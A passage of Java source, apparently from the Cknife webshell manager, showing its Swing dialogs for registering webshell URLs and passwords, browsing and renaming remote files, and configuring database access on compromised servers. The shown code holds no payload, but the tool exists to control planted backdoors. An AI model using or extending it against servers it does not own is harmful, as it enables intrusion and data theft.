filemanagerpanel.getModel()); 198 | int row = getRowCount()-1; 199 | filemanagerpanel.getList().setRowSelectionInterval(row, row); 200 | filemanagerpanel.getStatus().setText( 201 | "新建文件夹成功"); 202 | } else { 203 | remove(getRowCount() - 1); 204 | filemanagerpanel.getStatus().setText( 205 | "新建文件夹失败"); 206 | } 207 | } 208 | }); 209 | } 210 | }; 211 | new Thread(newrun).start(); 212 | } 213 | } 214 | } else { 215 | final String op = path + oldname; 216 | final String np = path + newname; 217 | final String roldname = oldname; 218 | final String rnewname = newname; 219 | Runnable rerun = new Runnable() { 220 | public void run() { 221 | ret = "-1"; 222 | filemanagerpanel.getStatus().setText("正在重命名...请稍等"); 223 | ret = filemanagerpanel.getFm().doAction("rename", op, np); 224 | SwingUtilities.invokeLater(new Runnable() { 225 | public void run() { 226 | if (ret.equals("1")) { 227 | datas.get(rowIndex).setElementAt(newdata, col); 228 | fireTableCellUpdated(rowIndex, col); 229 | try { 230 | JTree tree = filemanagerpanel.getTree(); 231 | DefaultMutableTreeNode dmt = TreeMethod.searchNode(filemanagerpanel.getRoot(), roldname); 232 | filemanagerpanel.getModel().valueForPathChanged(tree.getSelectionPath().pathByAddingChild(dmt), rnewname); 233 | // 非model模式更新界面需要执行updateUI 234 | // dmt.setUserObject(rnewname); 235 | // tree.updateUI(); 236 | filemanagerpanel.getList().setRowSelectionInterval(rowIndex,rowIndex); 237 | } catch (Exception e) { 238 | } finally { 239 | filemanagerpanel.getStatus().setText("重命名成功"); 240 | } 241 | } else { 242 | filemanagerpanel.getStatus().setText("重命名失败"); 243 | } 244 | } 245 | }); 246 | } 247 | }; 248 | new Thread(rerun).start(); 249 | } 250 | } else 251 | { 252 | datas.get(rowIndex).setElementAt(aValue, columnIndex); 253 | fireTableCellUpdated(rowIndex, columnIndex); 254 | } 255 | } 256 | 257 | public void remove(int id) { 258 | this.datas.remove(id); 259 | this.fireTableRowsDeleted(id, id); 260 | } 261 | 262 | @Override 263 | public boolean isCellEditable(int rowIndex, int columnIndex) { 264 | // TODO Auto-generated method stub 265 | return this.isEdit; 266 | } 267 | } 268 | -------------------------------------------------------------------------------- /src/com/ms509/ui/AboutDialog.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui; 2 | 3 | import java.awt.Color; 4 | import java.awt.Cursor; 5 | import java.awt.Desktop; 6 | import java.awt.Dialog; 7 | import java.awt.GridBagLayout; 8 | import java.awt.event.MouseAdapter; 9 | import java.awt.event.MouseEvent; 10 | import java.net.URI; 11 | 12 | import javax.swing.*; 13 | import javax.swing.event.HyperlinkEvent; 14 | import javax.swing.event.HyperlinkListener; 15 | 16 | import com.ms509.util.GBC; 17 | 18 | public class AboutDialog extends JDialog { 19 | private JPanel about_pane; 20 | private JLabel img_label; 21 | private JEditorPane about_info; 22 | private Icon icon; 23 | 24 | public AboutDialog() { 25 | 26 | super(MainFrame.main, "添加shell", true); 27 | this.setComponent(); 28 | // 初始化布局和控件 29 | 30 | this.setVisible(true); 31 | 32 | } 33 | 34 | private void setComponent() { 35 | about_pane = new JPanel(); 36 | about_pane.setLayout(new GridBagLayout()); 37 | about_pane.setOpaque(true); 38 | about_pane.setBackground(Color.white); 39 | 40 | GBC gbclogo = new GBC(0, 0, 1, 1).setFill(GBC.BOTH).setInsets(0, 0, 0, 0); 41 | GBC gbccontent1 = new GBC(1, 0, 1, 1).setFill(GBC.BOTH).setWeight(1, 1).setInsets(20, 0, 0, 0); 42 | 43 | // img 44 | img_label = new JLabel(); 45 | 46 | try { 47 | icon = new ImageIcon(getClass().getResource("/com/ms509/images/logo.png")); 48 | } catch (Exception e1) { 49 | e1.printStackTrace(); 50 | } 51 | img_label.setSize(50, 50); 52 | img_label.setBackground(Color.white); 53 | img_label.setIcon(icon); 54 | img_label.setOpaque(true); 55 | 56 | // text 57 | JEditorPane about_info = new JEditorPane(); 58 | about_info.setEditable(false); 59 | about_info.setContentType("text/html"); 60 | String copy = "

Copyright(c) 2015-2016 MS509 Team

" 61 | + "" 62 | + "
免责声明:本工具仅限于安全研究与教学使用,用户使用本工具所造成的所有后果,由用户承担全部法律及连带责任!作者不承担任何法律及连带责任。
" 63 | + "
Powered by Chora & MelodyZX    
" 64 | + ""; 65 | about_info.setText(copy.toString()); 66 | // 超链接事件 67 | about_info.addHyperlinkListener(new HyperlinkListener() { 68 | @Override 69 | public void hyperlinkUpdate(HyperlinkEvent e) { 70 | // TODO Auto-generated method stub 71 | if (e.getEventType() == HyperlinkEvent.EventType.ACTIVATED) { 72 | try { 73 | Desktop.getDesktop().browse(new URI("http://www.ms509.com")); 74 | } catch (Exception e1) { 75 | e1.printStackTrace(); 76 | } 77 | } 78 | } 79 | 80 | }); 81 | about_info.setOpaque(false); 82 | about_info.setBackground(Color.white); 83 | 84 | about_pane.add(about_info, gbccontent1); 85 | about_pane.add(img_label, gbclogo); 86 | 87 | this.add(about_pane); 88 | this.setSize(400, 250); 89 | this.setResizable(false); 90 | this.setTitle("关于 Cknife"); 91 | this.setLocationRelativeTo(MainFrame.main); 92 | } 93 | 94 | } 95 | -------------------------------------------------------------------------------- /src/com/ms509/ui/AddDialog.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.Dimension; 5 | import java.awt.FlowLayout; 6 | import java.awt.HeadlessException; 7 | import java.awt.Toolkit; 8 | import java.awt.event.ActionEvent; 9 | import java.awt.event.ActionListener; 10 | import java.awt.event.KeyAdapter; 11 | import java.awt.event.KeyEvent; 12 | import java.sql.ResultSet; 13 | import java.sql.SQLException; 14 | import java.sql.Statement; 15 | import java.util.Vector; 16 | 17 | import javax.swing.BorderFactory; 18 | import javax.swing.JButton; 19 | import javax.swing.JComboBox; 20 | import javax.swing.JDialog; 21 | import javax.swing.JLabel; 22 | import javax.swing.JOptionPane; 23 | import javax.swing.JPanel; 24 | import javax.swing.JScrollPane; 25 | import javax.swing.JTextArea; 26 | import javax.swing.JTextField; 27 | 28 | import com.ms509.ui.panel.ListPanel; 29 | import com.ms509.util.DbDao; 30 | 31 | public class AddDialog extends JDialog { 32 | private String id,ip,time; 33 | private JButton button; 34 | private JTextField urltext, passtext; 35 | private JTextArea configtext; 36 | private JComboBox atype, acode; 37 | 38 | public AddDialog() { 39 | super(MainFrame.main, "添加SHELL", true); 40 | this.setComponent(); 41 | this.setEvent(); 42 | this.setVisible(true); // 模态对话框必须在添加完组件后设置可见,不然会显示不了。 43 | } 44 | 45 | public AddDialog(String s) { 46 | super(MainFrame.main, "修改SHELL", true); 47 | String[] tmp = s.split("\t"); 48 | this.setComponent(); 49 | this.setEvent(); 50 | this.id = tmp[0]; 51 | urltext.setText(tmp[1]); 52 | passtext.setText(tmp[2]); 53 | configtext.setText(tmp[3]); 54 | button.setText("编辑"); 55 | atype.setSelectedItem(tmp[4]); 56 | acode.setSelectedItem(tmp[5]); 57 | this.ip = tmp[6]; 58 | this.time = tmp[7]; 59 | this.setVisible(true); // 模态对话框必须在添加完组件后设置可见,不然会显示不了。 60 | } 61 | 62 | private void setComponent() { 63 | Toolkit t = Toolkit.getDefaultToolkit(); 64 | Dimension d = t.getScreenSize(); 65 | this.setResizable(false); 66 | this.setSize(450, 240); 67 | this.setLocation((d.width - this.getWidth()) / 2, 68 | (d.height - this.getHeight()) / 2); 69 | this.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 70 | JPanel north = new JPanel(); 71 | JPanel center = new JPanel(); 72 | JPanel south = new JPanel(); 73 | north.setLayout(new FlowLayout(FlowLayout.LEFT, 3, 8)); 74 | center.setLayout(new FlowLayout(FlowLayout.LEFT, 3, 0)); 75 | south.setLayout(new FlowLayout(FlowLayout.RIGHT, 3, 8)); 76 | JLabel urllabel = new JLabel("地址:"); 77 | urllabel.setBorder(BorderFactory.createEmptyBorder(0, 10, 0, 0)); 78 | JLabel configlabel = new JLabel("配置:"); 79 | configlabel.setBorder(BorderFactory.createEmptyBorder(0, 10, 0, 0)); 80 | JLabel actionlabel = new JLabel(""); 81 | actionlabel.setBorder(BorderFactory.createEmptyBorder(0, 10, 0, 0)); 82 | urltext = new JTextField("http://"); 83 | passtext = new JTextField(); 84 | configtext = new JTextArea(); 85 | JScrollPane configscroll = new JScrollPane(configtext); 86 | button = new JButton("添加"); 87 | String[] strtype = new String[] { "脚本类型", "ASP(Eval)", "ASPX(Eval)", "PHP(Eval)", 88 | "JSP(Eval)", "Customize" }; 89 | String[] strcode = new String[] { "字符编码", "GB2312", "GBK", "UTF-8", 90 | "BIG5", "ISO-8859-1" }; 91 | atype = new JComboBox<>(strtype); 92 | acode = new JComboBox<>(strcode); 93 | urltext.setPreferredSize(new Dimension(320,23)); 94 | passtext.setPreferredSize(new Dimension(56,23)); 95 | configtext.setLineWrap(true); 96 | configtext.setPreferredSize(new Dimension(369,128)); 97 | configscroll.setBorder(urltext.getBorder()); 98 | north.add(urllabel); 99 | north.add(urltext); 100 | north.add(passtext); 101 | center.add(configlabel); 102 | center.add(configscroll); 103 | south.add(atype); 104 | south.add(acode); 105 | south.add(button); 106 | south.add(actionlabel); 107 | this.getContentPane().add(north, BorderLayout.NORTH); 108 | this.getContentPane().add(center, BorderLayout.CENTER); 109 | this.getContentPane().add(south, BorderLayout.SOUTH); 110 | this.getRootPane().setDefaultButton(button); 111 | } 112 | 113 | private void setEvent() { 114 | urltext.addKeyListener(new KeyAdapter() { 115 | @Override 116 | public void keyReleased(KeyEvent e) { 117 | // TODO Auto-generated method stub 118 | String url = urltext.getText(); 119 | int pos = 0; 120 | if((pos = url.lastIndexOf("."))>0) 121 | { 122 | String ext = url.substring(pos+1); 123 | switch (ext.toLowerCase()) { 124 | case "asp": 125 | atype.setSelectedItem("ASP(Eval)"); 126 | break; 127 | case "aspx": 128 | atype.setSelectedItem("ASPX(Eval)"); 129 | break; 130 | case "php": 131 | atype.setSelectedItem("PHP(Eval)"); 132 | break; 133 | case "jsp": 134 | atype.setSelectedItem("JSP(Eval)"); 135 | break; 136 | case "jspx": 137 | atype.setSelectedItem("JSP(Eval)"); 138 | break; 139 | } 140 | } 141 | } 142 | }); 143 | button.addActionListener(new ActionListener() { 144 | @Override 145 | public void actionPerformed(ActionEvent e) { 146 | // TODO Auto-generated method stub 147 | String url = urltext.getText().replaceAll("'", "''"); 148 | String pass = passtext.getText().replaceAll("'", "''"); 149 | String config = configtext.getText().replaceAll("'", "''"); 150 | String type = atype.getSelectedItem().toString(); 151 | String code = acode.getSelectedItem().toString(); 152 | Statement stmt = DbDao.getInstance().getStmt(); 153 | 154 | if (!type.equals("脚本类型")) { 155 | 156 | if (code.equals("字符编码")) { 157 | code = "UTF-8"; 158 | } 159 | if (e.getActionCommand().equals("添加")) { 160 | String sql = "insert into data(url,pass,config,type,code) values('" 161 | + url 162 | + "','" 163 | + pass 164 | + "','" 165 | + config 166 | + "','" 167 | + type + "','" + code + "')"; 168 | Vector vector = new Vector(); 169 | try { 170 | if (stmt.executeUpdate(sql) < 1) { 171 | JOptionPane 172 | .showMessageDialog(MainFrame.main, 173 | "添加失败", "错误", 174 | JOptionPane.ERROR_MESSAGE); 175 | return; 176 | } 177 | ResultSet rs = stmt 178 | .executeQuery("select last_insert_rowid()"); 179 | String id = rs.getString(1); 180 | vector.add(id); 181 | vector.add(url.replaceAll("''", "'")); 182 | vector.add(pass.replaceAll("''", "'")); 183 | vector.add(config.replaceAll("''", "'")); 184 | vector.add(type); 185 | vector.add(code); 186 | vector.add(" "); 187 | vector.add(" "); 188 | ListPanel listpanel= (ListPanel)MainFrame.tab.getSelectedComponent(); 189 | listpanel.getModel().addRow(vector); 190 | } catch (SQLException e1) { 191 | // TODO Auto-generated catch block 192 | e1.printStackTrace(); 193 | } 194 | } else { 195 | String sql = "update data set url='"+url+"',pass='"+pass+"',config='"+config+"',type='"+type+"',code='"+code+"' where id="+id; 196 | Vector vector = new Vector(); 197 | try { 198 | if (stmt.executeUpdate(sql) < 1) { 199 | JOptionPane 200 | .showMessageDialog(MainFrame.main, 201 | "修改失败", "错误", 202 | JOptionPane.ERROR_MESSAGE); 203 | return; 204 | } 205 | vector.add(id); 206 | vector.add(url.replaceAll("''", "'")); 207 | vector.add(pass.replaceAll("''", "'")); 208 | vector.add(config.replaceAll("''", "'")); 209 | vector.add(type); 210 | vector.add(code); 211 | vector.add(ip); 212 | vector.add(time); 213 | ListPanel listpanel= (ListPanel)MainFrame.tab.getSelectedComponent(); 214 | listpanel.getModel().update(id, vector); 215 | } catch (HeadlessException e1) { 216 | // TODO Auto-generated catch block 217 | e1.printStackTrace(); 218 | } catch (SQLException e1) { 219 | // TODO Auto-generated catch block 220 | e1.printStackTrace(); 221 | } 222 | } 223 | setVisible(false); 224 | 225 | } else { 226 | JOptionPane.showMessageDialog(MainFrame.main, "请填写脚本类型", 227 | "错误", JOptionPane.ERROR_MESSAGE); 228 | } 229 | 230 | } 231 | }); 232 | } 233 | } 234 | -------------------------------------------------------------------------------- /src/com/ms509/ui/Cknife.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui; 2 | 3 | import java.awt.EventQueue; 4 | 5 | import javax.swing.JDialog; 6 | import javax.swing.JFrame; 7 | import javax.swing.UIManager; 8 | 9 | import org.pushingpixels.substance.api.SubstanceLookAndFeel; 10 | import org.pushingpixels.substance.internal.fonts.DefaultGnomeFontPolicy; 11 | import org.pushingpixels.substance.internal.fonts.DefaultKDEFontPolicy; 12 | import org.pushingpixels.substance.internal.fonts.DefaultMacFontPolicy; 13 | 14 | import com.ms509.util.Configuration; 15 | import com.ms509.util.InitConfig; 16 | 17 | public class Cknife { 18 | public static void main(String[] args) { 19 | // TODO Auto-generated method stub 20 | EventQueue.invokeLater(new Runnable() { 21 | @Override 22 | public void run() { 23 | new InitConfig(); 24 | setLookFeel(); 25 | new MainFrame(); 26 | 27 | } 28 | }); 29 | } 30 | 31 | public static void setLookFeel() { 32 | try { 33 | Configuration config = new Configuration(); 34 | String skin = config.getValue("SKIN"); 35 | JFrame.setDefaultLookAndFeelDecorated(true); 36 | JDialog.setDefaultLookAndFeelDecorated(true); 37 | if (!skin.equals("")) { 38 | UIManager.setLookAndFeel(skin); 39 | } else { 40 | // substance皮肤带LookAndFeel结尾的其实与不带的是一样的,只是实现方式不同而已。 41 | // 即SubstanceGraphiteLookAndFeel与GraphiteSkin是同一款皮肤 42 | 43 | // 带LookAndFeel结尾的皮肤使用UIManager.setLookAndFeel 44 | // UIManager.setLookAndFeel("org.pushingpixels.substance.api.skin.SubstanceGraphiteLookAndFeel"); 45 | 46 | // 不带LookAndFeel结尾的皮肤使用SubstanceLookAndFeel.setSkin 47 | // SubstanceLookAndFeel.setSkin(new GraphiteSkin()); 48 | SubstanceLookAndFeel.setSkin("org.pushingpixels.substance.api.skin.GraphiteSkin"); 49 | String os = System.getProperty("os.name"); 50 | if(os.startsWith("Mac")) 51 | { 52 | SubstanceLookAndFeel.setFontPolicy(new DefaultMacFontPolicy()); 53 | } else if(os.startsWith("Linux")) 54 | { 55 | SubstanceLookAndFeel.setFontPolicy(new DefaultKDEFontPolicy()); 56 | } 57 | } 58 | } catch (Exception e) { 59 | try { 60 | JFrame.setDefaultLookAndFeelDecorated(true); 61 | JDialog.setDefaultLookAndFeelDecorated(true); 62 | UIManager.setLookAndFeel("javax.swing.plaf.metal.MetalLookAndFeel"); 63 | } catch (Exception e1) { 64 | } 65 | } 66 | 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/com/ms509/ui/ConfigDialog.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui; 2 | 3 | import java.awt.Dimension; 4 | import java.awt.Toolkit; 5 | 6 | import javax.swing.ImageIcon; 7 | import javax.swing.JDialog; 8 | import javax.swing.JTabbedPane; 9 | 10 | import com.ms509.ui.config.panel.RequestPanel; 11 | import com.ms509.ui.config.panel.ProxyPanel; 12 | 13 | public class ConfigDialog extends JDialog{ 14 | public static ConfigDialog cdialog; 15 | public ConfigDialog() { 16 | super(MainFrame.main,"Cknife 设置",true); 17 | this.setComponent(); 18 | cdialog = this; 19 | this.setVisible(true); 20 | } 21 | private void setComponent() 22 | { 23 | Toolkit t = Toolkit.getDefaultToolkit(); 24 | Dimension d = t.getScreenSize(); 25 | this.setResizable(false); 26 | this.setSize(450, 240); 27 | this.setLocation((d.width - this.getWidth()) / 2, 28 | (d.height - this.getHeight()) / 2); 29 | this.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 30 | JTabbedPane pane = new JTabbedPane(); 31 | pane.addTab("代理", new ProxyPanel()); 32 | pane.addTab("请求头", new RequestPanel()); 33 | this.getContentPane().add(pane); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/com/ms509/ui/MainFrame.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui; 2 | 3 | import javax.swing.*; 4 | import java.awt.*; 5 | 6 | public class MainFrame { 7 | public static TabFrame tab; 8 | public static JFrame main; 9 | public MainFrame() { 10 | // TODO Auto-generated constructor stub 11 | Toolkit t = Toolkit.getDefaultToolkit(); 12 | Dimension d = t.getScreenSize(); 13 | main = new JFrame("Cknife 1.0 Release"); 14 | main.setIconImage(new ImageIcon(getClass().getResource("/com/ms509/images/main.png")).getImage()); 15 | main.setSize(900, 480); 16 | main.setLocation((d.width - main.getWidth()) / 2, 17 | (d.height - main.getHeight()) / 2); 18 | main.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 19 | main.getContentPane().setLayout(new BorderLayout(0, 0)); 20 | tab = new TabFrame(); 21 | tab.addPanel("list"); 22 | main.add(tab); 23 | main.setVisible(true); 24 | } 25 | } -------------------------------------------------------------------------------- /src/com/ms509/ui/MessageDialog.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.Dimension; 5 | import java.awt.Toolkit; 6 | import java.awt.event.ActionEvent; 7 | import java.awt.event.ActionListener; 8 | import java.util.TimerTask; 9 | 10 | import javax.swing.JDialog; 11 | import javax.swing.JPanel; 12 | import javax.swing.JScrollPane; 13 | import javax.swing.JTextPane; 14 | import javax.swing.SwingUtilities; 15 | 16 | import java.util.Timer; 17 | 18 | public class MessageDialog extends JDialog { 19 | private int i; 20 | private java.util.TimerTask task; 21 | private java.util.Timer timer; 22 | 23 | public MessageDialog(String message,int time) { 24 | super(MainFrame.main, time+"秒后自动关闭窗口", true); 25 | this.i = time; 26 | Toolkit t = Toolkit.getDefaultToolkit(); 27 | Dimension d = t.getScreenSize(); 28 | this.setResizable(false); 29 | this.setSize(450, 240); 30 | this.setLocation((d.width - this.getWidth()) / 2, 31 | (d.height - this.getHeight()) / 2); 32 | this.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 33 | final JTextPane text = new JTextPane(); 34 | text.setText(message); 35 | JScrollPane scroll = new JScrollPane(text); 36 | JPanel panel = new JPanel(); 37 | panel.setLayout(new BorderLayout()); 38 | panel.add(scroll, BorderLayout.CENTER); 39 | this.getContentPane().add(panel); 40 | 41 | // this.setModal(true); // 该方法可用于模态对话框,也可用于非模态对话框。 42 | timer = new Timer(); 43 | task = new TimerTask() { 44 | @Override 45 | public void run() { 46 | setTitle(--i + "秒后自动关闭窗口"); 47 | if (i == 0) { 48 | timer.cancel(); // 终止此计时器 49 | // task.cancel(); // 取消此计时器任务 50 | setVisible(false); 51 | } 52 | } 53 | }; 54 | timer.schedule(task, 1000, 1000); 55 | setVisible(true); 56 | 57 | // this.setModal(false); // 该方法只能用于非模态对话框 58 | // final javax.swing.Timer timer = new javax.swing.Timer(1000, 59 | // new ActionListener() { 60 | // public void actionPerformed(ActionEvent e) { 61 | // setTitle(--i + "秒后自动关闭窗口"); 62 | // } 63 | // }); 64 | // timer.start(); 65 | // setVisible(true); 66 | // Runnable run = new Runnable() { 67 | // public void run() { 68 | //// while (timer.isRunning()) { 69 | //// if (i == 0) { 70 | //// SwingUtilities.invokeLater(new Runnable() { 71 | //// @Override 72 | //// public void run() { 73 | //// timer.stop(); 74 | //// setVisible(false); 75 | //// } 76 | //// }); 77 | //// break; 78 | //// } 79 | //// } 80 | // // 在多线程编程中,主线程执行无线循环需要加入sleep或者yield让其他线程有机会执行, 81 | // // 不然其他线程没机会执行,则无线循环的条件也就满足不了,则会进入死循环。 82 | // while (true) { 83 | // try { 84 | // Thread.sleep(1); 85 | // } catch (InterruptedException e) { 86 | // } 87 | // Thread.yield(); 88 | // if (i == 0) { 89 | // // 必须通过EDT刷新组件 90 | // SwingUtilities.invokeLater(new Runnable() { 91 | // @Override 92 | // public void run() { 93 | // timer.stop(); 94 | // setVisible(false); 95 | // } 96 | // }); 97 | // break; 98 | // } 99 | // } 100 | // } 101 | // }; 102 | // // 不能在EDT中执行其他耗时操作,应该在一个独立的工作器线程中(即普通线程中)做这件事情 103 | // new Thread(run).start(); 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /src/com/ms509/ui/SetDBDialog.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui; 2 | //数据库配置窗口 3 | import java.awt.BorderLayout; 4 | import java.awt.Choice; 5 | import java.awt.Dimension; 6 | import java.awt.FlowLayout; 7 | import java.awt.GridBagLayout; 8 | import java.awt.HeadlessException; 9 | import java.awt.Toolkit; 10 | import java.awt.event.ActionEvent; 11 | import java.awt.event.ActionListener; 12 | import java.awt.event.ItemEvent; 13 | import java.awt.event.ItemListener; 14 | import java.awt.event.MouseListener; 15 | import java.sql.ResultSet; 16 | import java.sql.SQLException; 17 | import java.sql.Statement; 18 | import java.util.Vector; 19 | import java.util.regex.Matcher; 20 | import java.util.regex.Pattern; 21 | 22 | import com.ms509.ui.MainFrame; 23 | import javax.swing.*; 24 | 25 | import com.ms509.ui.panel.DatabasePanel; 26 | import com.ms509.ui.panel.ListPanel; 27 | import com.ms509.util.DataBase; 28 | import com.ms509.util.DbDao; 29 | import com.ms509.util.GBC; 30 | 31 | public class SetDBDialog extends JDialog { 32 | 33 | private JDialog a; 34 | private JPanel north; 35 | private JPanel center; 36 | private JPanel south; 37 | private JLabel example; 38 | private JLabel setting; 39 | private JTextArea dbset; 40 | private JButton submit; 41 | private JScrollPane dbset_scroll; 42 | private JComboBox dbtype; 43 | private String id; 44 | private static String config; 45 | private Statement stmt = DbDao.getInstance().getStmt();; 46 | private String[] tmp; 47 | private String type; 48 | 49 | public SetDBDialog(String[] t) { 50 | // TODO Auto-generated constructor stub 51 | super(MainFrame.main, "数据库配置", true); 52 | // 初始化布局和控件 53 | id = t[0]; 54 | type = t[4]; 55 | this.setComponent(); 56 | 57 | //从数据库中读取配置信息 58 | String getconfig_data = "select config from data where id=" + id; 59 | //System.out.println(getconfig_data); 60 | try { 61 | ResultSet rs = stmt.executeQuery(getconfig_data); 62 | while (rs.next()) { 63 | config = rs.getString(1); 64 | dbset.setText(config); 65 | } 66 | rs.close(); 67 | } catch (SQLException e) { 68 | // TODO Auto-generated catch block 69 | e.printStackTrace(); 70 | } 71 | 72 | //System.out.println(t[3]); 73 | this.setVisible(true); 74 | } 75 | 76 | //初始化界面 77 | private void setComponent() { 78 | south = new JPanel(); 79 | center = new JPanel(); 80 | north = new JPanel(); 81 | a = this; 82 | Toolkit t = Toolkit.getDefaultToolkit(); 83 | Dimension d = t.getScreenSize(); 84 | this.setResizable(false); 85 | this.setSize(450, 240); 86 | this.setLocation((d.width - this.getWidth()) / 2, (d.height - this.getHeight()) / 2); 87 | this.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 88 | // 初始化布局和控件 89 | this.setLayout(new GridBagLayout()); 90 | GBC gbcnorth = new GBC(0, 0, 3, 1).setFill(GBC.BOTH).setInsets(0, 0, 0, 0); 91 | GBC gbccenter = new GBC(0, 1, 3, 2).setFill(GBC.BOTH).setInsets(0, 0, 0, 0); 92 | GBC gbcsouth = new GBC(0, 5, 3, 1).setFill(GBC.BOTH).setInsets(0, 0, 0, 0); 93 | 94 | GBC gbcnorth1 = new GBC(0, 0, 1, 1).setFill(GBC.BOTH).setInsets(0, 0, 0, 0); 95 | GBC gbcnorth2 = new GBC(1, 0, 2, 1).setFill(GBC.BOTH).setInsets(0, 0, 0, 0); 96 | GBC gbccenter1 = new GBC(0, 1, 1, 2).setFill(GBC.BOTH).setInsets(0, 0, 0, 0); 97 | GBC gbccenter2 = new GBC(1, 1, 2, 2).setFill(GBC.BOTH).setInsets(0, 0, 0, 0); 98 | 99 | 100 | example = new JLabel("示例"); 101 | setting = new JLabel("配置"); 102 | dbset = new JTextArea(); 103 | submit = new JButton("提交"); 104 | // submit action 105 | InitDB action = new InitDB(); 106 | dbset_scroll = new JScrollPane(dbset); 107 | dbset_scroll.setPreferredSize(new Dimension(400, 100)); 108 | dbset.setText(config); 109 | 110 | // 数据库类型配置示例 111 | String[] dbtypes = new String[] {}; 112 | //System.out.println(type); 113 | switch (type) { 114 | case "JSP(Eval)": 115 | dbtypes = new String[] { "MYSQLlocalhostroot

root

utf8", 116 | "ORACLElocalhost:1521root

root

databaseutf8", 117 | "MSSQLlocalhost:1433root

root

databaseutf8" }; 118 | break; 119 | case "PHP(Eval)": 120 | dbtypes = new String[] { "MYSQLlocalhostroot

root

utf8" }; 121 | break; 122 | case "ASP(Eval)": 123 | dbtypes = new String[] { 124 | "MYSQLDriver=MySQL ODBC 5.3 Unicode Driver;Server=localhost;database=mysql;UID=root;PWD=root", 125 | "MSSQLProvider=SQLOLEDB.1;User ID=;Password=;Initial Catalog=master;Data Source=(local)", 126 | "MSSQLDriver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=", 127 | "MDBProvider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\\111.mdb" }; 128 | break; 129 | case "ASPX(Eval)": 130 | dbtypes = new String[] { 131 | "MYSQLDriver=MySQL ODBC 5.3 Unicode Driver;Server=localhost;database=mysql;UID=root;PWD=root", 132 | "MSSQLProvider=SQLOLEDB.1;User ID=;Password=;Initial Catalog=master;Data Source=(local)", 133 | "MSSQLDriver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=", 134 | "MDBProvider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\\111.mdb" }; 135 | break; 136 | } 137 | // dbtype 138 | dbtype = new JComboBox<>(dbtypes); 139 | dbtype.setPreferredSize(new Dimension(400, 30)); 140 | SelectItem aListener = new SelectItem(); 141 | dbtype.addActionListener(aListener); 142 | 143 | submit.addActionListener(action); 144 | dbtype.setSelectedIndex(0); 145 | // 布局 146 | north.add(example, gbcnorth1); 147 | north.add(dbtype, gbcnorth2); 148 | center.add(setting, gbccenter1); 149 | center.add(dbset_scroll, gbccenter2); 150 | south.add(submit); 151 | 152 | // 添加布局到panel 153 | this.getContentPane().add(north, gbcnorth); 154 | this.getContentPane().add(center, gbccenter); 155 | this.getContentPane().add(south, gbcsouth); 156 | } 157 | 158 | class InitDB implements ActionListener { 159 | @Override 160 | public void actionPerformed(ActionEvent e) { 161 | // TODO Auto-generated method stub 162 | config = dbset.getText().replaceAll("'", "''"); 163 | String sql = "update data set config='" + config + "' where id=" + id; 164 | try { 165 | stmt.execute(sql); 166 | Vector vector = new Vector(); 167 | tmp = MainFrame.tab.getUrl().split("\t"); 168 | vector.add(tmp[0]); 169 | vector.add(tmp[1].replaceAll("''", "'")); 170 | vector.add(tmp[2].replaceAll("''", "'")); 171 | vector.add(config.replaceAll("''", "'")); 172 | vector.add(tmp[4]); 173 | vector.add(tmp[5]); 174 | vector.add(tmp[6]); 175 | vector.add(tmp[7]); 176 | // 实例化向上转型,只修改原列表中row的config参数 177 | ListPanel list = (ListPanel) MainFrame.tab.addPanel("list"); 178 | list.getModel().update(id, vector); 179 | } catch (SQLException e1) { 180 | // TODO Auto-generated catch block 181 | e1.printStackTrace(); 182 | } 183 | a.setVisible(false); 184 | 185 | } 186 | 187 | } 188 | 189 | 190 | //将示例添加至配置框中 191 | class SelectItem implements ActionListener { 192 | 193 | @Override 194 | public void actionPerformed(ActionEvent e) { 195 | // TODO Auto-generated method stub 196 | String tmp = dbtype.getSelectedItem().toString(); 197 | tmp = tmp.replace("><", ">\r\n<"); 198 | dbset.append(tmp + "\n"); 199 | } 200 | 201 | } 202 | 203 | public static String getStr() { 204 | config = config.replace("''", "'"); 205 | return config; 206 | } 207 | } 208 | -------------------------------------------------------------------------------- /src/com/ms509/ui/TabFrame.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui; 2 | 3 | 4 | 5 | 6 | import javax.swing.*; 7 | import com.ms509.ui.panel.DatabasePanel; 8 | import com.ms509.ui.panel.FileManagerPanel; 9 | import com.ms509.ui.panel.HeadPanel; 10 | import com.ms509.ui.panel.ListPanel; 11 | import com.ms509.ui.panel.ShellPanel; 12 | import com.ms509.ui.panel.TextPanel; 13 | 14 | public class TabFrame extends JTabbedPane { 15 | private ListPanel list; 16 | private String url; 17 | public String getUrl() { 18 | return url; 19 | } 20 | public void setUrl(String url) { 21 | this.url = url; 22 | } 23 | public JPanel addPanel(String type) { 24 | switch (type) { 25 | case "list": 26 | if(list==null) 27 | { 28 | list = new ListPanel(); 29 | this.addTab("列表", list); 30 | this.setSelectedIndex(this.indexOfComponent(list)); 31 | } 32 | return list; 33 | case "database": 34 | DatabasePanel database = new DatabasePanel(); 35 | this.addTab("数据库管理", database); 36 | this.setSelectedIndex(this.indexOfComponent(database)); 37 | this.setTabComponentAt(this.getTabCount()-1, new HeadPanel(database)); 38 | return database; 39 | case "filemanager": 40 | FileManagerPanel filemanager = new FileManagerPanel(); 41 | this.addTab("文件管理", filemanager); 42 | this.setSelectedIndex(this.indexOfComponent(filemanager)); 43 | this.setTabComponentAt(this.getTabCount()-1, new HeadPanel(filemanager)); 44 | return filemanager; 45 | case "shell": 46 | ShellPanel 